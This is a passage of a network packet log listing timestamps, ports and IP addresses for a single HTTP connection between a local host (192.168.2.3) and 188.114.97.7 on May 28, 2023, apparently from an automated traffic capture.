May 28, 2023 10:42:53.754795074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754839897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754853964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754888058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754890919 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754936934 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754981995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755028009 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755039930 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755074024 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755084991 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755120039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755162954 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755208969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755227089 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755255938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755270958 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755304098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755350113 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755394936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755414009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755441904 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755458117 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755486965 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755532980 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755548000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755578995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755625963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755649090 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755671978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755716085 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755731106 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755763054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755806923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755821943 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755852938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755897045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755940914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755950928 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.755985975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.755992889 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756032944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756078005 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756123066 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756139994 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756169081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756186008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756217003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756262064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756359100 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756360054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756401062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756419897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756447077 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756493092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756536961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756556988 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756583929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756587982 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756648064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756694078 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756740093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756755114 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756787062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756791115 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756834030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756881952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756926060 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756952047 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.756973982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.756994009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757023096 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757066965 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757112026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757131100 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757157087 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757167101 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757205963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757252932 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757297993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757314920 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757344007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757355928 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757390022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757436991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757466078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757483959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757529974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757541895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757577896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757623911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757668972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757677078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757714033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757725000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757750988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757797003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757842064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757877111 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757886887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757909060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.757934093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.757980108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758023977 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758054972 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758071899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758094072 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758119106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758164883 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758203983 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758213997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758261919 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758274078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758306980 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758352995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758375883 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758398056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758460999 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758474112 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758508921 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758553982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758599043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758606911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758646011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758650064 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758688927 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758734941 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758758068 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758780956 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758826017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758835077 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758869886 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758914948 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.758930922 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.758961916 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759006023 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759052038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759067059 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759095907 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759107113 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759151936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759210110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759228945 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759258032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759303093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759346008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759349108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759394884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759440899 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759440899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759490013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759499073 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759535074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759579897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759627104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759639978 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759671926 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759691954 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759718895 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759764910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759780884 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759810925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759856939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759902000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759928942 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759948015 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.759968042 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.759995937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760041952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760071039 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760087967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760134935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760178089 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760184050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760230064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760291100 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760308981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760354996 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760397911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760400057 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760445118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760452032 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760490894 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760534048 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760546923 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760581017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760627031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760669947 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760705948 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760715961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760749102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760756969 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760782003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760813951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760821104 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760847092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760879040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760909081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760916948 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760936975 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.760941982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.760974884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761003017 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761007071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761039972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761070967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761096954 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761104107 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761137962 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761137962 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761173964 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761204958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761238098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761240005 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761269093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761281967 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761301994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761332989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761343002 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761364937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761396885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761401892 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761429071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761449099 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761461973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761493921 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761526108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761547089 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761558056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761573076 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761590004 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761621952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761656046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761678934 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761687040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761715889 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761720896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761754036 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761818886 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761837959 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761852026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761862993 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761884928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761915922 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761948109 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761965990 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.761980057 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.761997938 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762012959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762043953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762074947 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762094975 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762108088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762125015 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762140989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762172937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762204885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762232065 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762236118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762250900 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762269020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762307882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762340069 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762371063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762387037 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762402058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762414932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762434006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762464046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762465000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762497902 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762527943 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762533903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762559891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762578011 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762590885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762623072 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762650967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762675047 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762682915 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762700081 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762716055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762747049 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762778997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762801886 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762808084 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762823105 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762840986 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762860060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762871981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762883902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762903929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762921095 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762934923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762952089 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762967110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.762989998 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.762998104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763011932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763031006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763048887 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763061047 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763079882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763093948 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763108015 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763130903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763156891 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763165951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763180971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763199091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763217926 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763231039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763247967 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763262987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763284922 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763293982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763309002 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763325930 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763340950 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763358116 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763375998 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763391018 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763407946 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763422012 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763437033 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763453960 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763475895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763484955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763514042 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763516903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763533115 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763549089 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763561964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763581991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763597965 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763613939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763628960 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763645887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763673067 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763675928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763689995 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763709068 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763725996 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763740063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763765097 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763772011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763803005 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763809919 CEST	49722	80	192.168.2.3	188.114.97.7
